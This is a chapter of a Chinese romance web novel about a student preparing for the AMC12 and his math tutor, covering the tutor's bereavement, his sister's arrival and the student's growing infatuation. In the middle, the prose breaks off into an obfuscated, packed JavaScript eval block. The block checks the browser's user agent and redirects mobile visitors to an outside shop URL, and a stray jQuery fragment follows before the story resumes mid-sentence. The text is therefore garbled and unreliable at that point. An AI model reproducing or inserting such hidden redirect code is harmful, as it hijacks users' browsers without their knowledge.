11. 第 11 章
    寒假很快到来,寒假期间傅廷恩要参加AMC12的数学竞赛,如果能进前5%,对于申请牛津是极大的加分项。

    而曾闰成要回老家过年,临行前再三嘱咐傅廷恩不要紧张,他刷过AMC12好几年的测试题,正常发挥应该是没问题,补习了几个月,他对傅廷恩的数学水平还是很清楚的。

    金城进入人潮涌动的春运期,傅廷恩执意让家里司机开车同他一起送曾闰成到机场。

    曾闰成没有过分推拒,近半年的相处,两人的关系亦师亦友,寒假足有一个半月,分别总让人觉得不舍。

    “老师你怎么还不开通微信?不会觉得不方便吗?”微信运行两年了,曾闰成一直没注册账号,他习惯有事打电话,没有跟人闲聊的爱好。

    “是有点。”随着使用人数的增加,学校开始在微信上拉群建组,他不在线,有时候也错过一些通知。

    “那你帮我申请一个?”他们坐在傅家车子的后座,他把手机递给傅廷恩,智能产品这块孩子总是玩得更溜。

    “得嘞!”傅廷恩飞快的绑定账户、填充信息,头像选了一个可爱的狗头,“怎么选这个?太幼稚了吧!”

    “老师不是属狗么?”其实是他的微信头像是他家金毛,想暗戳戳的满足情头的臆想。

    “好吧。”曾闰成无可无不可。

    傅廷恩麻利的先把自己加上,发了个笑脸表情,看到聊天对话框除他之外一片空白,就觉得心花怒放。

    正在偷着乐,一个电话打进来,赶忙递给曾闰成,隔得那么近,话筒里清晰的传来一个小女孩的哭声:“哥,哥,你快回来……婆婆走了……哥……”

    他眼睁睁看着曾闰成的脸色一瞬间变得雪白,从没有过的慌乱神情出现在他的脸上,他攥着手机似乎一下子人就凝固了,半晌都没有发出一点声音。

    “老师,闰成,”傅廷恩想问他没事吧,但怎么可能没事呢?他连唇色都变得惨白,嘴唇甚至在颤抖,肩膀也在抖,他忍不住伸出右手抱住他肩膀,无声的安慰。

    车里开着空调,傅廷恩只穿了件薄毛衣,两滴水渍透过毛衣掉到他胳膊上,烫得他一颗心都跟着紧缩起来。他不敢回头去看曾闰成的表情,只能轻轻拍拍他的后背。

    车子以最快的速度赶到了航站楼,可飞机起飞的时间是固定的,他陪他办了登机手续,又到柜台问还有没有票,“没有哦先生,现在春运,商务舱都是满座的,”航空小姐虽然惊艳于男生的美貌却也只能不无遗憾的告知,“最近一趟要明天晚上八点了。”

    他只能眼睁睁看曾闰成失魂落魄的身影过了检票口,消失在人潮中。

    其实他心里也知道,即使有机票,他也没法跟他去,他不会肯,他父母不会肯,学生的身份不足以在这种人生大事上理所当然的陪在他身边,他生平第一次觉得自己确实还是太小了……

    ——————————————————————————

    曾闰成回到生养他的小山村已经是第二天的下午,婆婆的丧事已经在邻居村人的操持下张罗了起来。

    三间低矮的土砖房挂着白,坪里垒着几口锅灶,几杆唢呐正零星吹着哀伤的曲调,瘦弱的妹妹头上顶着白麻布,旧棉袄外头系着根麻绳,手里拎着稻草扎的把子,呜呜咽咽的站在大门口,看见他的身影大哭着扑了上来。

    他丢了手中的行李,一把将她抱住,小女孩哭得声堵气噎,“婆婆说不舒服想睡一下……等我去叫她……怎么也叫不醒……怎么也叫不醒……”

    即使是冬天穿着厚棉袄,妹妹的身体也是那么单薄,他放开她,踉跄的走到堂屋,一张旧门板上铺着几层棉絮被褥,一个瘦小佝偻的身影安静的躺在几张花花绿绿的被单之下。

    他没有在邻居的指引下去磕头烧纸敬香,脚步迟缓的走到那身影旁边,盯着那张已经失去水分苍老干瘪的面庞,怔怔无法言语。

    “闰成,不要到河里去玩水,河里有水怪,把你拖走婆婆就找不到了……”她跟在七八岁的他身后一遍一遍的叮嘱。

    “闰成,你走山路怕不怕?婆婆送送你……”她打着火把,送去镇上读初中的他一程又一程。

    “闰成,你在学校不要饿着自己,想吃什么尽管买婆婆有钱……”旧手绢一层层的打开来,是一张张扎得整整齐齐的一块两块,一张不留的全塞到他手里。

    “闰成,你要好好学习,什么都有可能弄丢,只有你学的知识不会丢……”

    他终于再也忍不住,趴在那再也没有起伏的胸口大哭起来,总以为来得及,总想着来日方长,痛愧弥漫着整个胸腔,让一贯冷静自持的人发出一阵阵哀嚎……

    ————————————————————————————

    傅廷恩一天无数遍的看微信,对话框打了删删了又打,始终没有发出一句话。在巨大的伤痛面前,言语的安慰总是那样苍白无力。

    而那个新申请的微信也十分的安静,痛到极致,是寂静无声。

    过了五六天,他才小心翼翼的发了一个拥抱的表情,不出所料的没有回音。每次手机提示音响起,他都跳起来查看,全都不是,直到睡觉前,才等到四个字:好好考试。

    他心满意足的抱着手机睡去,一个表情他懂他的安慰,简短四个字他懂他的牵挂。

    他不敢放松学习,每天都要刷三四个小时数学题,当一个个数字被算出来,罗列在纸上,就像一行行隐秘的情书,数字间流转着旁人都看不懂的爱意。

    傅太直觉傅廷恩是谈恋爱了,那时不时长吁短叹,动不动愁眉紧锁,间歇性开怀大笑,过来人都懂。

    就是这对象不太好估摸……好像也没有看他跟身边的哪个女生或者男生走得特别近,难道是网恋?越想越觉得像,手机看得跟宝贝一样。

    但是过完年的AMC12竞赛,傅廷恩拿到94分,如愿进了前5%,拿到了AIME邀请赛资格,傅太就放下心来,她儿子就算网恋也是有分寸的人,知道什么最重要。

    整个寒假傅廷恩都在家里装乖宝宝,熬到二月底开学,总算获得允准周一到周四可以偶尔住公寓,但要随时接受检查。

    他兴冲冲搬家一样收拾了一大堆行李送去公寓,把傅太吓一跳,“这孩子是干啥?家里这么呆不住么,公寓那么点大……”

    傅明章这点倒很开明:“顺利的话年底就要飞英国了,迟早离开家。”

    “他网球比赛得的那些奖杯那么多也扛去干啥?也不嫌麻烦……”

    “他想显摆显摆嘛你随他,马上成年人了,你不要管那么多了……”幼鸟长大离巢远飞是必然是流程,作为父母只能接受,傅太悒悒不乐的跟太太们逛商场去了。

    ————————————————————————————

    开学后的第一个星期,傅廷恩在曾闰成新租的房子里见到了曾闰霞。“小霞,这是傅廷恩,叫哥哥。”

    小女孩从曾闰成身后羞怯的伸出半个头,“廷恩哥。”

    她穿着簇新的白色羽绒服,个子瘦瘦小小,曾闰成说比他小十岁,那就十四岁有余了,但看上去就十一二岁的样子。眉目很清秀,皮肤微黑,跟曾闰成长得并不太像。

    傅廷恩并不知道,眼前这个不起眼的小女孩日后会成为他和他的牵绊,也是他和他的阻隔。

    新租的房子还是在那条巷子里头,从二楼换到了一楼,也是个一居室,但是客厅更大,带了个十来平方的小院子。

    小霞住房间里,曾闰成把客厅沙发撤了,放了张一米五的床。临窗是一线书架,上面摆得满满当当,是原先他收在箱子里的书,还有小霞的各种课本。

    旁边一张大方桌,平时用来看书学习,餐时吃饭。没有电视机,没有任何电子设备,看上去简单干净。

    小霞是非常勤快的女孩子,曾闰成和傅廷恩刷题讲题的时候,她就在厨房忙做饭,手脚很轻,也没听到什么大动静。

    等他们弄完,三菜一汤就端了上来,茭瓜牛肉丝,煎豆腐,小白菜,番茄蛋汤。

    看上去色香味俱全,傅廷恩尝了几口,忍不住竖起大拇指:“小霞,你好厉害!”

    一句夸奖就让她脸上飞起两朵红云,农村的孩子家务是做习惯了的,她羞涩的笑一下,又有点小得意,“家里都是我做饭吃,婆婆也说我做饭比哥哥好吃……”她语声低下去,瞄一眼她哥,不说话了。

    曾闰成的脸色里透着沉郁,一上午了,傅廷恩也没有见他笑过,他赶忙岔开话题,“小霞转学办好了吗?”

    “嗯。”曾闰成点点头,“户籍学籍都转过来了,已经上了半个月学。”

    小霞还是上的公立三中,恒雅虽然十五年一贯制,但它是面向国际院校,不参加国内高考。就算曾闰成供得起,他也不放心她一个人去国外。

    “那,Jasper,你有没有想过去国外读博士?”

    曾闰成摇头,“竞赛认识的一个师兄,欧几里德拿过金奖,他前年申请到了耶鲁的工科博士,据说每年40万左右的费用,英美都差不多,他是很厉害的,他都说好专业好导师的funding(导师基金)很难拿到。差的学校就没太大必要读了。”

    “英国那么小,美国好乱,其实也没什么意思,我念secondary school的时候圣诞节、复活节还有暑假都是飞回金城的。”

    傅廷恩觉得有必要提前报备一下,这样等他假期回来找他

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13422341|141360||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    也就不显得突兀了。

    下午,虽然曾闰成不太想动,但还是被傅廷恩软磨硬泡拉去打了一场网球,运动能够分泌内啡肽,打完球出一身大汗,他果然气色都好了不少。

    傅廷恩这才放下心来,等汗收了,两人一块去沐浴房洗澡。结果被告知学校趁周末整改管道,这两天停水。因为曾闰成答应了去傅廷恩的公寓看奖杯和还有费德勒的签名球拍,所以带了衣服准备洗完澡直接过去。

    “那只能下次了。”

    “别啊,曾老师,”傅廷恩当然不肯,“我那里洗澡很方便的。都说好了,去嘛去嘛!这天气,不赶紧洗澡会感冒的。”

    他是习惯在傅太面前撒娇的,丝毫不觉得丢脸,拉着曾闰成的胳膊左摇右晃。他是典型的陌生人面前装高冷男神,亲近的人面前就展露逗逼的潜质。

    谁能拒绝这样一条可爱小狗呢?好吧好吧,曾闰成无奈的拍拍他的头。

    公寓离学校只有四五百米,恒雅建校后带动了周边经济,围绕学生需求展开的各项设施都很齐全。

    他们背着球包穿过一条购物街,坐电梯到45楼。公寓80多平,是两套40多打通的一个大通间。

    装修得温馨舒适,落地窗前可以俯瞰大半个校区。展示柜上摆着两排奖杯,底下是各类签名球拍。

    “老师你先洗澡,等会再看。”傅廷恩生怕曾闰成着凉,翻出干净的浴巾浴袍给他,自己坐电脑桌前先打把游戏。

    “哗哗”的水声传来,他拧开音响,放点爵士乐。无意间一回头,吓得从转椅上直接栽到地毯上。脸瞬间就涨得通红,心跳有如擂鼓。

    浴室有做扩充,对外是一扇茶色玻璃墙,从里面看不见外面,但从外面其实是看得一清二楚的。

    当时装修工人弄反了,但墙上有一个屏蔽键,按一下就会屏蔽起来。

    曾闰成显然不知道,而傅廷恩发誓他绝对是忘了说。于是无意间一回头,一具白皙矫健线条优美的男性躯体呈现在他眼前,对少年的冲击力不亚于原子弹爆炸。

    怎么办怎么办,傅廷恩不敢抬头,要不要说一声?说了老师尴尬怎么办?

    对于一个平常衬衫都扣得一丝不苟,白衬衫里头还要加一件白背心的人,这是肯定会尴尬的。

    不说?老师发现了怎么办?会不会以为他是故意的?从此给他贴上一个人品低下的标签?

    他纠结得挠心挠肺,浴室里的水声却已经渐渐停止了。不好!他蹦起来,翻出一条毛巾,曾闰成门一开,傅廷恩赶紧把毛巾塞他手里,“老师,你赶紧擦头发!该我洗了!”

    他几乎是把曾闰成挤出了浴室,“啪嗒”门一关,第一时间按屏蔽钮,然后一屁股坐马桶盖上大大的松了口气:“呼!”危机解除,他简直为自己的机智点赞。

    可是眼前却开始晃动起刚刚惊鸿一瞥的画面来:水滴顺着宽阔的背脊,流过紧实的腰线,一直延伸到挺翘的臀部……

    “你怎么洗这么久,”暖气的温度上来了,曾闰成穿着运动长裤和短袖T恤,“有没有喝的?”

    傅廷恩打开冰箱,搬出来几罐百威还有可乐,他好久没住这么边,桶装水空了还没有送来。

    曾闰成修长的手指在百威和可乐之间犹疑了一下,还是打开了一罐百威。在啤酒和汽水之间,男人都会选择前者。

    傅廷恩拿出费德勒的签名黑拍,“这是七八年前,我在伦敦看他打拉沃尔杯,请他签的。全场他就签了这一只。”他不无得意。他指着展示架上的奖杯说着背后的故事,每一只球拍的来历他都如数家珍……

    或许是傅廷恩的声音太有磁性,又或许一场网球过后他实在有些疲累,宽大柔软的沙发、悠扬轻柔的音乐让曾闰成的眼皮越来越重,意识越来越模糊,逐渐的坠入了梦乡里……

    傅廷恩合上手里的相册,暮色四起,微光从窗棂的缝隙里踱步而入,温柔的抚摸沉睡的人眉梢眼角。

    他完全不知道这个屋子里的另外一个人对他抱有怎样的遐想,才能睡得这样毫无防备吧。

    他几乎是有些贪婪的用目光,细细的品味着平日里连正视也不太敢的脸庞,他有着利落的下颌线,纤长的眉型和浓密的眼睫毛是那样合衬,平素只要打开就是黑白分明清冽潋滟的桃花眼轻轻的闭合着,就像珍珠即使藏如匣内,也闪烁着诱人的星芒。鼻梁耸立的弧度恰到好处,既不突兀也绝不呆板。嘴唇丰润,在暮色里泛着瑰丽的光泽……

    他几乎看得痴了过去,良久,目光回避似的顺着喉结往下,略过平坦的胸膛,拂过紧窄的腰线,因为双腿垂下地面而突出的那一团简直让人无法忽视……

    傅廷恩收回目光,低下头去,只觉得心头脸庞仿佛都要燃烧起来……